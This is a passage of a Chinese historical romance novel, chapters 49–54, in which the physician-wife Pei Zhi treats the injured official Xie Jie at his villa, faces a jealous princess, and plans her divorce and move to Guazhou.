他阅人无数,能看出裴芷从小受到的教养极好,但却绝不是人云亦云的俗气女子。也没有被世家严苛规矩驯化到骨子里的古板。
谨慎中,她有自己的想法。
就比方刚才,他踏入厅堂中就瞧见了裴芷打量的眼神中带着非常深的不喜。
第49章 公道难伸张
裴芷用手指轻轻挑开最后一层绷带,只看了一眼就倒吸一口冷气。
谢玠听到声响,垂眸看着她:“怎么了?”
裴芷不语,面色越发凝重。
她从旁边案上拿来一把银质小刀,对谢玠轻声道:“伤口有一处又肿了,我得划开肠线瞧瞧里面是怎么回事。”
谢玠点头。
裴芷犹豫了一瞬,道:“大爷若是疼得难受与我说一声,我让人备点麻沸散。”
“不用。”谢玠干脆道,“你不用管我。”
裴芷看了他一眼,站着不动。
谢玠看去,见她眼瞪得大大的,晶晶亮,瞧着自己不说话。
小脸鼓鼓的,红唇想要抿紧做出有怒气的样子,很像一只生了气的兔子。
说实话,瞧见向来低眉顺眼的人想发火的样子,还挺稀奇。
没半点攻击力,只剩有趣。
谢玠轻抿了抿薄唇,冷淡道:“你想说什么就说,不用憋着。我知道你从刚才就悄悄不高兴了。”
裴芷被他戳破心思,并不尴尬。
她看了谢玠一眼,轻声道:“大爷以后伤没好不要乱跑,不然这样会让我很为难。”
谢玠:“有什么好为难的,这伤又不严重。”
裴芷与他无话可说,俯下身用刀子轻轻挑开伤处红肿的地方。她动作很轻很利索,挑开后看了一眼,便松了口气。
伤口里的肉并没有发黑,只是红肿了。应该是谢玠不安分,拉弓引箭扯动了伤处引起的。
裴芷拿了药粉重新洒上,又重新替他包扎好。
这一次包扎便顺手多了,也少了先前的羞涩。
谢玠默默瞧着她围着自己忙碌,又是上药粉又是包扎,心里一股异样慢慢浮了出来。
好似原本冰封的湖面上落了一只蝴蝶,绕着湖面翩翩飞舞。
蝴蝶也不稀奇,只是它带来的是从别处来的,非常不一样的气息,似乎提醒着这片湖本不该是万年冰封的样子,应该是生机勃勃的样子。
他突然问:“昨日的事你打算怎么处置?”
裴芷愣神片刻,才醒悟谢玠在与她说话。
裴芷停了手中的动作,沉默片刻黯然摇头:“不知道。”
谢玠缓缓挑起剑眉:“你不想处罚害你的人?”
裴芷涩然摇头:“就算是想,也没用。”
昨日的事应该是白玉桐与谢观云为了作弄她搞的鬼,收买了车夫,故意将她送到郊外。
这事要查很简单,抓住车夫让他说出背后是何人指使便是。
但,真相好查,公道难伸张。
就算是查到了白玉桐与谢观云,谢家大约只会息事宁人,甚至还要教训她一通,说她大惊小怪,谢观云与白玉桐不过是与她开玩笑。
或是她必须大度,毕竟谢观云和白玉桐年纪小,饶了她们这一回才是她这位当嫂子的气度。
结果总会令她失望,所以也不想替自己讨公道。
总之远离便是,她不想与这些人继续纠缠下去。
谢玠蹙眉盯着裴芷:“若是任由那些人作恶,总有一日你会后悔饶恕她们。”
裴芷不愿替自己辩解,道:“大爷好意,妾身心领了。我下去给大爷看药煎得怎么样了。”
说完,她福了福身下去看药。
谢玠看着她纤瘦的背影,蹙眉不语。
过了一会儿,奉戍端了一碗药前来,谢玠看也不看一口喝完了。
他问:“她呢?”
奉戍一愣,才明白谢玠问的是裴芷。他心中奇怪,大人从不关心除了要事之外的人,今日倒是多问了一句。
奉戍:“她的小丫头受伤了,赶回去给她们治伤。”
谢玠点了点头,眸色深沉。
奉戍揣摩不出他的心思,试探问:“要不让二少夫人多留两日?大人的毒还没解完全呢。怕是有反复。”
谢玠不说好也不说不好,只是道:“车夫抓起来了没?”
奉戍点头:“抓起来了。”
谢玠看了他一眼,奉戍道:“一会就押回府去,让二房的处置。”
谢玠摇头:“不用了。拘着,不要弄死了。”
奉戍不明白他到底要做什么,但既然这样吩咐了自然有他的道理。于是应了下来,心里想着趁着询问的时候多拷打几下,让车夫多吃点苦头。
裴芷在别苑中住下,正好也可以给梅心与兰心养伤。
两个丫鬟皮外伤好得快,第二日伤就不流血了,隐约要结痂了。
庄子的管事过来询问她是否需要别的东西,又或是需要什么伤药。裴芷一一回了,又道谢庄子帮忙辛苦安置她们。
管事笑道:“二少夫人客气了。这庄子是大爷的私产,平日也没客人来。二少夫人来了,正好显得热闹点。”
裴芷瞧着管事一副精明的样子,闲谈中又得知他年轻时曾经走南闯北过。
于是她问了瓜州现如何光景。
管事道:“瓜州啊,好地方。这几年圣上仁善养民,又修了一条慧通渠,那边很是热闹。”
“铺子的皮就贵多了,听说比五年前翻了一倍。”
裴芷连忙问:“一百两能买得一处一进小院吗?”
管事摇头:“得看在哪儿。若是在下游热闹处是买不到的。瓜州城中三间大房,都得五十两,还不算好的宅院。”
“稍好点的院子,恐怕得一百五十两左右。况且瓜州的物价也比周边的郡县高点。”
裴芷点了点头,心中盘算微薄的积蓄恐怕是不够在瓜州安身立命。还得攒点才能安心离开京城。
又瓜州离京城千里,若是去了一路上少不得雇人沿途保护。
不然主仆三人都是弱女子,沿路出点事就万劫不复。
管事告辞前又道,自己的侄儿在瓜州行商,若有需要可以让他侄儿捎信带话。
送走管事,裴芷叹了口气。
也不知道六叔收到她的信没,若是收到了不知会给什么样的建议。还有外祖母那边,若是知道她要和离,也不知道是怎么个想法。
她心中想着,奉戍又来了。
他道:“大人请二少夫人一起去前边用膳。就当压惊宴了。”
裴芷不疑有他,稍稍准备后便跟着奉戍到了谢玠的院子。
还没进去,她就闻到了一股血腥味。
裴芷一愣,看向奉戍。
奉戍打开院门,指了指园中地上一个血人,道:“二少夫人,这车夫收了钱陷害你。大人让人狠狠打他一顿,替你出气。”
第50章 大爷给的太多了
裴芷看去,果然地上奄奄一息的人是昨天为她们赶车的车夫。他鼻青脸肿,口吐鲜血,委顿在地上缩成一团,样子极其可怜。
谢玠披着一件薄披风,闲散坐在廊前看书。
他看了进来的裴芷,淡淡道:“你有什么要问他的?”
裴芷面色难看,站了半天摇了摇头。
谢玠慢慢拧起眉心。
裴芷忍着胸腹间翻涌,上前道:“大爷,放了他吧。”
谢玠眸光骤然变得阴沉,缓缓放下手中书册,冷声道:“你倒真是菩萨心肠。莫不是觉得我多此一举?多管闲事?”
裴芷摇头:“不是让大爷就此放过他。”
“是让大爷别打了,会出人命的。对大爷不利。”
谢玠神色稍稍缓和,冷哼一声:“还不算不可救药。”
侍卫要将那车夫拖走,裴芷突然道:“等等。”
她上前查看了车夫的伤,问道:“谁给你银子让你来害我?”
车夫此时羞愧难当,低声说是谢观云。得到了意料之中的答案,裴芷心如止水。
侍卫将车夫拖了下去,地上一条明显的血痕,看着怪吓人的。
谢玠看着她沉默到了面前,问:“问到了罪魁祸首,接下来想怎么做?”
裴芷摇头:“不用了。反正谢府也不会惩罚她。又因为她是谢府三小姐,还没定亲事,最后只会因为不影响她的名声而不了了之。”
谢玠没吭声。
奉戍在旁边冷笑一声:“她算什么谢府三小姐?谢府没有这样愚蠢又刁蛮的小姐。”
言语中鄙夷意思很明显。
谢玠道:“让人布膳吧。”
下人很快布了膳。虽只有两人,但荤素齐全,有鱼也有山珍鹿肉等。每一样都做得色香味俱全,看了令人食指大动。
裴芷坐在桌边,很是不自在。
她不明白,谢玠为什么要特地请她用膳。明明两人身份云泥之别,说她是二少夫人,但其实大房与二房向来是不相干的。
想来想去,只能想到谢玠应该是为了谢她疗毒的恩情。
刚才那车夫被痛殴,也是故意做给她看的,目的是还她的人情。
想到此处,裴芷只觉得轻松。
谢玠做事一板一眼,滴水不漏地,反而相处起来容易些。
有恩必报,有仇也定是就报了。与谢观南那种,稀里糊涂将所有罪责推到她身上做派很是不一样。
想着裴芷便放松下来,眉眼便带了柔和之色。
谢玠看了她一眼,问:“菜式可还满意?若是忌口可以说。让厨房另做便是。”
裴芷摇头:“都很好。”
谢玠见她神色坦然,也不再说话。他本就是不是热络的人,问了两句已经是极限。原以为裴芷会害怕,甚至厌恶他的冷淡与冷血。
但除了刚开始看见车夫惨状有些惊魂未定外,一切都还算好。
总算不是那等胆小如鸡的深宅妇人,不然会让他厌恶地将人赶回京城。
两人默默用膳,席间并不再说话。
旁边奉戍看得十分难受,但又十分惊奇。
谢玠向来不与旁人假以辞色,就算是老爷和夫人每月两次相聚用膳,他都找借口推脱了去。更不用说同辈中人,除了必须要交往的朝臣权贵外,他几乎没有朋友。
也不知裴芷是不是心大,竟然能安稳坐着与谢玠一起用膳。
奉戍心里又是喜又是感叹,平白地对裴芷印象更好了些。
用完膳,下人端来茶水漱口,等漱口完再端来香茶。
裴芷斟酌着要怎么提前知会一声,告辞回京。
谢玠看了奉戍一眼。
奉戍捧来一个樟木箱子,打开是一箱密密麻麻的银锭,箱子里还有一叠厚厚的银票。一张一百两纹银,下面还有一叠看样子是兑黄金的银票。
裴芷愣住:“大爷这是……”
谢玠:“给你的诊金。”
裴芷赶紧拒绝:“大爷救了妾身,两相已经抵过了。”
谢玠垂眸:“救你只是顺手,也是为了我的伤。”
“若是这些你不要,我让张管事替你在瓜州买一处宅子,配一些丫鬟仆人,两样你挑一样。”
裴芷又是一呆。
看来下午随意闲聊的话也都被谢玠知道了。
果然是给圣上办差的能臣,这些小事对他轻松无比,抬抬手指头就办了。
裴芷垂着头,久久不语。
奉戍劝道:“二少夫人别嫌弃。”
裴芷摇头:“我不是嫌弃,我只是不知道该怎么办才好。”
她很是认真看着谢玠:“大爷给的太多了。妾身不敢拿,拿了也不知道怎生处置。”
谢玠突然就笑出声来。
奉戍一愣之后也忍不住别过脸偷笑。只是他不敢笑得太明显,导致肩头一耸一耸的,很是滑稽。
裴芷面色泛红,捏着衣袖,声音低低的:“这是真话……”
谢玠摆了摆手:“你愿意收就好,让奉戍替你先保管着。”
他目光隐约柔和,将平日里冰山似的俊脸衬得生动几分。
裴芷告辞离开了。
奉戍嘴角还有笑意。
“大人,二少夫人性子挺好的。很是天真纯良。有什么说什么。”他笑道,“有时候聪明有时候糊涂,看着是真性情。”
谢玠垂眸,面前一盘炙烤鹿肉剩下不多。
刚才用膳的时候,看裴芷吃了一块又一块的,倒真是不怕他。
这女人……
……
裴芷回了屋子,觉得手脚酸软,饱涨得很。应该是很久没有吃过肉食,一次性吃多了撑得慌。
她披了衣在院子里散了散,直到累了才回屋歇息。
梅心与兰心已经搬来睡在侧屋,与她作伴。
裴芷去看她们,将谢玠给了一堆银子的事说了。
两个丫鬟又惊又喜,道:“这下好了,我们能去瓜州了。”
裴芷面上露出微笑:“是啊。应该是可以去了。就不知道……”
她神色黯了下来。
万事俱备,只欠东风了。也不知道这次回去该怎么才能让谢观南同意和离。
要么只能拿车夫害她的事,再说一说。若是谢观南不肯,那她势必要去府衙告一告,闹上一闹的。
想着,裴芷打定主意,明日再待一日,看看谢玠的伤,若是无碍她就要告辞回府了。
第51章 明玉公主
谢府绛雪阁中,白玉桐一边听着谢观云叽叽喳喳对汜水节的游玩安排,一边心思却飞远了。
她突然问道:“已经两日了,裴姐姐怎么还没回来?”
谢观云满不在乎:“听说在大爷的别苑庄子上养伤,还得过两日。”
“玉桐姐姐,你关心她做什么?她只是无关紧要的人。”
白玉桐用帕子轻抚面上,笑道:“怎么是无关的人呢?她可是你的嫂子,若是出了事将来恒哥儿谁照顾?”
谢观云不屑轻笑:“恒哥儿现在哪需要她照顾?有件事我忘了偷偷与你说。”
她神秘兮兮,勾起了白玉桐的好奇心,连忙问什么事。
谢观云附耳说了秦氏打算将恒哥儿过继给大房大爷谢玠的事
白玉桐吃惊:“谢大人?!就是那位谢大人吗?”
谢观云得意洋洋:“可不就是他?听说他天煞孤星降世,姻缘坎坷,又克死了未婚妻,是以我母亲才动了这念头。”
“我母亲已经与大房的老爷与夫人说了,两位老人没一口回绝,应该是有些心动。约莫等过一两年,大爷若是没娶上亲,这事估计就能成了。”
白玉桐眸色变换不定,忽然笑道:“原来如此。看来恒哥儿是个有福的。”
谢观云得意道:“就是。恒哥儿若是能过继在大爷膝下,二房也能跟着沾光,鸡犬升天。”
“所以那小裴氏留着也没用了。谁让她裴家败落,又进门三年不能生。”
她言语中对裴芷有诸多鄙夷,一直贬损她对谢府再也没有别的用处。
白玉桐陪着说了一阵子,定下后日出游。
送走谢观云,白玉桐前去寻谢观南。谢观南正在大书房中与同窗说话喝茶。
白玉桐前来,笑着道:“倒是不巧了。打扰了观南哥哥会友。”
同窗以为是谢观南的续弦夫人,又见白玉桐少女打扮,便问她是谁。
谢观南道:“是白指挥使大人,关坊街的白家小姐,前来探望我母亲的,稍住两日便要回府了。”
白玉桐面色微沉。
送走同窗好友,谢观南询问白玉桐何事前来。
白玉桐说起了谢观云邀她汜水节出游的事。
谢观南犹豫片刻,道:“既然都安排好了,玉桐妹妹与观云一起去玩吧。那日我要与几位远道而来的同窗好友们相聚。”
这话的意思便是他不奉陪了。
白玉桐眼眶慢慢红了,委屈低头:“是,我知晓了。”
说完,她伤心回身要出去。
谢观南见她娇弱背影,又低头拭泪,心中实在是不忍。
他上前两步,拦住她,叹息:“玉桐妹妹你又多想了。那日我的确没空。”
白玉桐含泪道:“我知道。观南哥哥不用挂心我。我只是……只是想多和观南哥哥在一起一些日子。毕竟我已及笄两年,我母亲今年一定要将我嫁出去……”
“若是我出嫁之后,再也没有机会多多与观南哥哥亲近了。”
她泫然欲泣:“观南哥哥,我是真舍不得你啊。”
谢观南见她梨花带雨,直牵动了内心深处的怜惜。
他连忙道:“好,我答应陪你去。可别哭了。”
白玉桐破涕为笑:“真的吗?观南哥哥愿意陪着我?”
谢观南点头:“自然是真的。”
况且一个男子能被一位妙龄少女如此挂心惦记,又如此卑微祈求他的垂怜,实在是太过难得。
白玉桐见他满口答应,面上有了笑容。
她缓缓靠在谢观南的胸口,柔声细语:“观南哥哥,能与你在一起像小时候游玩,我不知道有多高兴。”
谢观南只觉得软玉温香扑满怀,心下觉得很是不妥,但美人主动投怀送抱只会冲昏了脑子。
早就将谢玠的警告抛之脑后,他顿了顿,将白玉桐轻轻搂在怀中。
“是,我也很是高兴。”
……
裴芷在别苑安稳住下已过了两日。
梅心的伤好得快,第二日已经能拄着拐杖轻踮脚走两步。兰心的外伤也结痂了,只是还不能碰水,还得修养两日。
裴芷会医术的事在别苑下人中传开。便有管事与下人试探询问一些小病如何抓药,怎么治。
裴芷白日没什么事便给别苑生小病的下人看病开方,或是指导怎么预防平日常见的一些寻常小病。
她语气温柔,药到病除,人又长得娇美精致,在下人眼中宛若菩萨似的人物。一个个对她毕恭毕敬,诸多赞美。
到了傍晚等谢玠处理完公务,为他换药,煎药。
谢玠的伤好转许多,伤口渐渐愈合,体内毒素也所剩极少。没了吐血症状,唇上的乌紫也褪了。
甚至过分苍白的脸上有了血色,整个人恢复了从前精气内敛,神光熠熠的姿态。
裴芷心惊他的恢复能力,但也不敢放松。
为谢玠调制解药之余,又指挥着奉戍拿了一些药材配了一些药粉、药酒。以备不时之需。
两日忙忙碌碌,日子过得很是充实。
奉戍拿着一瓶瓶药酒,道:“这些药酒可以让人做些给营里的兄弟们。他们时常办差使,遇险受伤通常就糊弄过去,到了老了可遭罪了。”
裴芷心中一动,道:“要不,我写下药方,奉戍大人让人照方配药。”
奉戍又高兴又不好意思:“怎么能劳烦二少夫人呢。你还是歇歇吧。这些小事不急。”
裴芷正要说自己只是顺手的事。
院外下人惊慌跑进来:“奉戍大人,不好了不好了。有贵人来了。”
奉戍皱眉:“有贵人来了就来了,说什么不好?”
下人惊觉自己说错了话,轻扇了自己一巴掌,把舌头捋直了。
道:“是明玉公主驾到了。”
“正在门口要大爷去迎接。可是大爷不在别苑中,明玉公主就生了好大的气,正拿了鞭子抽人呢。”
奉戍听到“明玉公主”眉心就拧了起来。
他脱口而出,怒道:“她怎么知道大人在这里?到底谁泄露了风声?”
下人战战兢兢,只说不知道。
奉戍也知现在不是追究这的好时机,他对裴芷道:“二少夫人在院中好生歇息。我去迎公主。外面若有什么声响,二少夫人不要出来瞧。”
他叮嘱完,匆匆离去。
裴芷留在原地,一头雾水。
明玉公主,不就是太后幺女,先帝第十七公主萧卢燕。
她怎么特地出宫来寻谢玠。
第52章 公主要诈她
下人道:“二少夫人赶紧回院子里躲起来。那明玉公主吓人得很,已经在前面拿鞭子抽人了。”
裴芷问:“她想见大爷,没寻到人就生气吗?”
下人苦笑:“何止……但小的不能再说了。”
他催促裴芷回院子。
裴芷不多言,回到了院子中安心待着。
梅心听说了来了这号人物,咋舌:“好大的公主脾气,一不顺心就要抽人。难怪大爷不喜欢她。”
裴芷心中一动。先前的疑惑突然解了惑。
原来明玉公主心悦谢玠,来别苑堵人来了。
人没见到,就拿鞭子抽下人出气。
这般跋扈做派也只有天之娇女才有。
与她无关,裴芷便安心在小院中与梅心兰心煮茶闲聊。谢玠给的丰厚银两令主仆三人对去往瓜洲生活重新燃起希望来。
三人畅想规划将来自在的生活,一说便忘了时辰。
到了晚膳时分,裴芷正要让人传膳,有人不经通传进了院子。
是一位长得刻薄面相的中年妇人。
她问:“谁是谢府的二少夫人?”
裴芷微微蹙眉,兰心上前,打量她:“你又是什么人?”
来人看了她一眼,目光落在坐在廊下喝茶的裴芷身上,道:“你别管我是什么人,二少夫人是哪位?”
兰心要发作。
裴芷道:“若是要寻人,便得自报家门。不然只能请这位嬷嬷出去了。”
来人冷笑:“你便是谢府的二少夫人?好大的口气,你可知我是谁?我可是伺候公主的人。”
裴芷淡淡道:“嬷嬷十分无礼,以此可见公主治下十分不严,贻笑大方。”
来人愣住,没想到裴芷敢当面顶撞。
她深深看了一眼裴芷,换了口气:“奴婢是伺候公主的尚宫。公主有宣,请二少夫人去一趟。”
裴芷看了她一眼,道:“那容我整理仪容,免得在公主凤驾前失仪。”
尚宫点头。
裴芷进了屋里,眉心紧锁。
梅心紧张:“少夫人怎么办呢?这位公主突然要见你,好生奇怪。”
裴芷摇头:“我也不知为何。总之应该没事。”
话虽如此,心里却有些谈忐忑的。
所谓来者不善,善者不来。明玉公主突然来到这里,又抽下人泄愤,现如今又要宣自己去见肯定不是好事。
裴芷看了看天色,已要日暮,谢玠怎么还没回来?
她发现自己竟隐约期盼谢玠出现。
裴芷整理好衣衫发式,跟在嬷嬷身后朝着公主下榻的院子去。
走了一会儿,她发现明玉公主竟然到了谢玠住的院子,不由停住了脚步。
尚宫不耐烦:“怎么的停下了?难道你要公主久等?”
裴芷只能跟上。
到了院中,只见立着两排带刀的侍卫,一个个人高马大,衣甲鲜明。在廊下坐着一位身穿鹅黄色衣裙的明艳少女。
那少女正坐在椅上与女史们说笑,笑容晏晏,看不出是拿鞭子抽人的跋扈样子。
尚宫上前禀报裴芷前来。
那少女看去,看见一位素净的美人款款走来,轻移莲步,头上钗环简单,唯一一根珍珠流苏轻微摇曳,配着她的举止,有种说不出的清雅美丽。
少女蹙了绣眉,笑容渐渐消失:“你就是谢府的二少夫人?小裴氏?”
裴芷上前参见,低头恭敬道:“回公主的话,妾身便是。”
明玉公主冷淡道:“抬起头来,让本公主瞧瞧。”
裴芷只能依言抬头。
四目短促相对一瞬,她便垂下眼帘。
明玉公主大约十三四岁的模样,身量娇小,脸鹅蛋脸,五官明丽,满头珠翠,身上的华服也极尽奢华。
那一身鹅黄色的骑装料子用的是一尺十两黄金的云锦,一举一动间,金光闪烁,绣着的花鸟上宝石珍珠泛出光华来。
脚上蹬着一双用小羊皮做的长靴,靴上依旧是缎面覆着,金丝银线绣出祥云纹路。
靴子口缀着一圈拇指大小的珍珠。
果然是天之骄女,身上随便掉落的宝石珍珠就够普通百姓一年用度。
裴芷打量明玉公主,明玉公主萧卢燕也看清了她的样子。
是极美的一位妇人,年纪很轻,肤白如雪,乌发如墨,身材窈窕,美得犹如闲庭花照水,又似雨后窗边开了一枝琼花。
更令人觉得独特的是,裴芷身上娴静从容的气质。
见了她谨慎而不拘谨,看样子是个有主意的女人。
萧卢燕在后宫见过不少美人,环肥燕瘦,什么样的都有,唯独没见过裴芷这样的。
当下免不得多看了几眼。
越看越是嫉妒,但理智又告诉她嫉妒是多此一举。
谢玠不可能看上这位已婚的小妇人,再美也是无用。
她问:“你怎么来此处的?”
裴芷便捡了无关紧要的事说了,只说随夫君小姑出来踏青,回城时遇了大雨,马车损坏。正巧遇见了出城的谢玠,于是谢玠将她安置在这别苑。
等过两日就回城。
萧卢燕听完,冷笑一声:“编的好故事。这世上怎么有那么巧的事?你遇难,谢玠便救了你?”
她眸光含着讥诮:“我瞧着应该是你故意谎称马车损坏,专门等在半路上偶遇谢玠。是与不是?!”
最后一声厉声呵斥,裴芷心头一跳,抬头看向萧卢燕。
裴芷不卑不亢:“妾身说的是事实,还望公主明鉴。”
“妾身已是婚配过的妇人,相夫教子,不敢怠慢。万万不会起了这般龌龊念头去污了大爷的名声。还望公主慎言。”
萧卢燕面色沉沉,心中却惊讶。
她刚才只是诈一诈裴芷,并没有真心想得到真相,但裴芷出乎她的意料。
萧卢燕冷哼一声还要再说。
门边突然有侍卫持刀进来,冷喝:“何人擅闯别苑!统统都抓起来。”
萧卢燕脸色一变,还没出声呵斥。两队侍卫便被冲进来的人纷纷拿下,卸了刀剑,押在了地上。
萧卢燕哪有见过这个场景,吓得花容失色,与女史们抱在一起几乎要哭了。
裴芷吃惊回头,懵懂中只见一道大红锦袍身影大步走来。
天边日暮,金光落在男人的肩上,残阳如血映衬着红袍,越发猩红刺眼。
他眉眼若雕琢而出,长眉若剑形,鼻梁如俊秀山峦,薄唇微抿写尽了凉薄。
宽大的袍袖随风鼓起,有柳絮飘来,在周身打转似雪落下。
当真是姿容俊美,又沉冷肃杀到骨子里的人。
谢玠行来,目光扫过萧卢燕后,落在院中跪地的裴芷身上。
他伸手,眸光沉沉:“你起来。”
裴芷怔愣片刻应了一声,想要起身。那只手已极快扶住她的手臂,道。
“你退到一旁,不必说话。”
第53章 他对她逾矩了
扶着她手臂的手掌宽大,还出乎意料的炙热,裴芷情不自禁抬头瞧了谢玠一眼。
依旧是那副清冷高洁如崖上雪般的姿态,眉眼深邃,波澜不惊,是她那夜在绝境处瞧见的眼神。
懵懂的神志瞬间清醒过来,魂魄似也慢慢归了位。
谢玠很少在外人面前显露喜怒,更是不值得在这个时候亲自搀扶她。
现在这么做,恐怕更多的是表达对明玉公主跋扈的不满。
裴芷低了头悄悄退在他身后。
廊下的萧卢燕瞧见这一幕,只觉得刺眼无比。心中一口郁气浮了上来,冲口就是抱怨。
“谢郎,你出城怎么不与我说一声?我寻了你好久,你不是生病了吗?”
她的声音布满了委屈,带着少女明显的心思,“还有,她是谁?你怎么能把这地方给她住?”
谢玠听一句眉心就拧紧一分,听到最后已是眉心折成川字。
“微臣谢玠,不知公主殿下驾临,有失远迎。”
萧卢燕哼了一声:“不用与我说这些虚礼,你……”
谢玠打断她的话,冷冷的,没有半点温度:“微臣还未问,公主的侍卫携兵刃,擅闯臣下府邸,意欲何为?”
萧卢燕一愣,恼道:“谢郎,你非要这样与我说话?”
“我的人你赶紧把他们放了!”
谢玠冷冷看了她一眼,挥了挥手,侍卫们将公主的护卫都放了。
随后他也不看萧卢燕,对奉戍道:“送个信入宫,说公主私自出城。”
萧卢燕气急:“我不回宫去。你若是要将我送回去,我就……我就……”
半天,她说不出要怎么办。
谢玠静静看着她,眼底不加掩饰的厌恶像一把利刃直刺萧卢燕眼里。萧卢燕面色一白,脚步踉跄往后退去。
谢玠不说话,只是用那种眼神静静瞧着她,一直瞧着。
萧卢燕终于经受不住,扭头进屋哭了起来。
谢玠冷淡垂眸,转身毫不留恋往外走去。
……
明玉公主终究没回宫,借宿在别苑中。谢玠另换了院子,将那院子让了出去。
听说明玉公主着人请了三次,谢玠都没去,看样子是真生了气。
裴芷用过晚膳,照旧为谢玠诊脉换药。
她瞧着鲜红愈合的伤口,舒了口气:“大爷的伤痊愈了,不过还是得小心不要牵扯。”
又道:“毒也除了。若是大爷愿意,我再开几贴除瘀血的方子。”
谢玠淡淡嗯了一声。
裴芷自顾自收拾药箱。她轻手轻脚,动作却很快。小小的药箱里面收拢得整整齐齐。
瓶瓶罐罐两排摆放着,精致又有趣。
裴芷正要合上药箱,一只秀美如莲的修长手指轻捻起一个素白的瓷瓶,放在眼前看着。
裴芷放了手,抬眼看谢玠。
他已穿上了中衣,外衫半敞着。屋中明亮的烛火照在他清俊的面上,宛若涂上了一层红光。
不知怎么的,裴芷突然想起了他着红色官袍的,迎风烈烈大步而来的样子。
心莫名一颤,她垂下了眼眸。
谢玠:“这些药是你自己做的?”
嗓音清冷,一如既往并不热络。
裴芷点头:“大多是止血和愈合的药粉。”
谢玠睨了她一眼,目光落在她膝上两团沾了泥土的地方。下午她被迫跪了明玉公主,到现在还没换衣衫便匆匆来了。
深眸微眯,他第一次问了她的打算:“回京之后,你打算怎么与谢观南和离?”
裴芷愕然,抬头看着谢玠。
目光触到他冷漠却又俊魅的脸上时,她微微一颤,轻声说:“自然是写和离书,若是二爷不允,便呈上状子给府衙。能否和离,府衙应该有个决断,总不至于拖着我许久。”
谢玠薄唇微勾:“你不是给你父亲故交好友写了书信?他能否帮你?”
裴芷想了片刻,缓缓摇了摇头。
对这事,她的确没有把握。正如她回谢府上,也不知道谢观南放不放她走。但终归是能走的,若是不能走……
她指尖颤了颤,心里便灰暗了一大片。
下颌微疼,她茫然抬头,谢玠正眯着眼仔细瞧着她的脸色。
两人靠得很近。
她能闻到他灼热的鼻息中淡淡的,属于男子特有的气息。
脸忽地红了,一瞬间心跳如擂鼓。一下一下,好像中了邪似的直定定瞧着面前这张比女人还美的俊颜。
耳中有慌乱的声音,平静的心好似刮起了一阵风暴,吹得高高的心墙几乎要轰然倒地。
谢玠注视着面前惊惶的面孔。
眉似远山青黛,明眸含着骤然受惊后的水光,直瞪瞪瞧着他不知闪躲。
她的眼神太过澄澈,几乎一眼就能望进心底。那是一片无人玷污过的芳草地,平静安详,处处生机。
不像他,早就腥风血雨一地狼藉。
四目相对,他眸色如海深沉:“你医术很好,若是愿意求我,我可以许你一个很好的前程。”
裴芷回过神来,匆忙挣开他的手。
她低头:“我不要什么前程,我只要……”
张了张口,她忽地发现自己不知道究竟要什么。
总之,决计不想留在谢府吃人的深宅,也不愿去期许谢玠所谓的前程。
他所谓的前程,约莫也是伴随着不自由,困在尔虞我诈中。
她脑子简单,不喜欢也不习惯。
她只想赶紧了结一切,带着从小跟着自己的两个小丫鬟去瓜洲,开门行医,过自己自由的日子。
“大爷,我给您写药方。”
她定了定神,福身退下,到偏厅重新写了方子去了。
谢玠眯着眼看着她有些仓皇的身影,垂眸看着手指。
手指还残留女人肌肤上细腻的触感。
柔嫩的,好像早春出土的枝丫。
很奇特的触觉,驱使着他内心想要狠狠揉捏过去,看看这样嫩的肌肤是不是真的存在。
他深吸一口气,慢慢将手指捏起,曲成拳头。
刚才瞧见她黯然垂首,不知怎么的手比脑子快,竟情不自禁抬起她的脸,想看清楚这个总是安静沉稳的小女人到底在难过什么。
可这样,就是逾矩了。
他竟然对一位不算熟悉的,身份与他完全不匹配的女人,起了异样的心思。
他,竟然想把她留在身边。
不管是以什么名义,很突然想将她留在京城,不让她去瓜洲。
第54章 他用她的名声来威胁
这不应该的。
谢玠蹙眉,应该是自己受伤才突然产生的惜才的心思。
与男女之情无关。他才不会觊觎人妻,不齿也不屑。
想定,谢玠便不再纠结刚才的小事。
况且裴芷已经拒绝他,这件小事便放在一旁。
第二日一早,裴芷起床梳洗用膳,照旧去看两个丫鬟的伤势。经过三天的休养,她们好了大半。
裴芷便打算着如何措辞与谢玠提告辞回京的事。
她差人去找奉戍,来人说奉戍在忙,一时半会来不了。
裴芷又想去寻谢玠,但终究是没那个勇气。特别是昨晚他突然的提议,令她有了犹豫。总觉得谢玠不会高兴见到她。
就这样犹犹豫豫的,到了下午。眼看着又是要浪费一天,索性裴芷便不去想回京的事。
反正回去也不痛快,还不如在这里偷得自在一天是一天。
不过自在的时光也不是那么容易就得到的。
下午下人匆匆来报,谢观南与白玉桐出城游玩到了别苑。
裴芷一愣。
梅心与兰心一听这话,脸色瞬时垮了下来。
裴芷去换了衣衫钗环,更衣时犹豫片刻换下了别苑为她准备的衣裙,而是拿起那日出城踏青时的旧衣。
说不清是什么心情,总之不愿在这个节骨眼上多生事端。
裴芷前去迎。那边谢观南已经携了白玉桐进了院子。
几日不见,谢观南儒雅依旧,白玉桐娇嫩可人,只是两人姿态比从前似乎更亲密些。一边行来一边窃窃私语,时而露出笑容。
裴芷看了一眼,垂眸。
谢观南行到跟前,一抬头才发现裴芷已经等候着。
他不自然放下方才勾着白玉桐的手,清了清嗓子:“你这几日叨扰了大爷,我今日是特地接你回府。”
他蹙眉打量裴芷。
衣衫有几处破损,但都用针线补好了。雪肤乌发,神态平静,看不出与平日有什么不同,但总觉得似乎与自己更陌生疏离。
他心里涌起不适,脱口而出:“还不赶紧收拾东西随我回去?在这里丢人现眼。”
裴芷看了一眼谢观南,转身进了院子。
白玉桐突然道:“等等。”
她笑道:“好不容易今日来到谢大人的别苑,好奇想看看。”
谢观南微微蹙眉:“这不太妥吧。毕竟是……”
白玉桐回头,笑道:“怎么不妥呢?观南哥哥,难道这不是谢家的别苑吗?你也是姓谢,看一眼不打紧的。”
谢观南点头同意,心中却是极心虚的。
他虽也是姓谢的,但是与谢玠可是两码事。
裴芷道:“白小姐,这别苑是大爷的宅子,恐怕得知会大爷一声。”
白玉桐似笑非笑看着她:“好啊,要不你带我去求见谢大人?你住了好几日,应该是见过谢大人的吧?”
“他人怎么样?待人和蔼不?”
她一连问了好几个关于谢玠的话,裴芷只是沉默以对。
白玉桐见她又变成木讷的样子,心中冷笑,只觉得她装得好。
谢观南在旁边频频皱眉。
他能感觉到裴芷对他们不告而至的排斥与疏离,可明明自己已经亲自来接她,她还有什么不满意的?
谢观南忽然伸手握住她的手腕,语气冷淡:“去收拾东西走吧,再磨蹭天就黑了。”
他眼底有藏不住的烦躁:“今日本来要带玉桐妹妹出来游玩的,但她非要先接上你,你又做什么不高兴?”
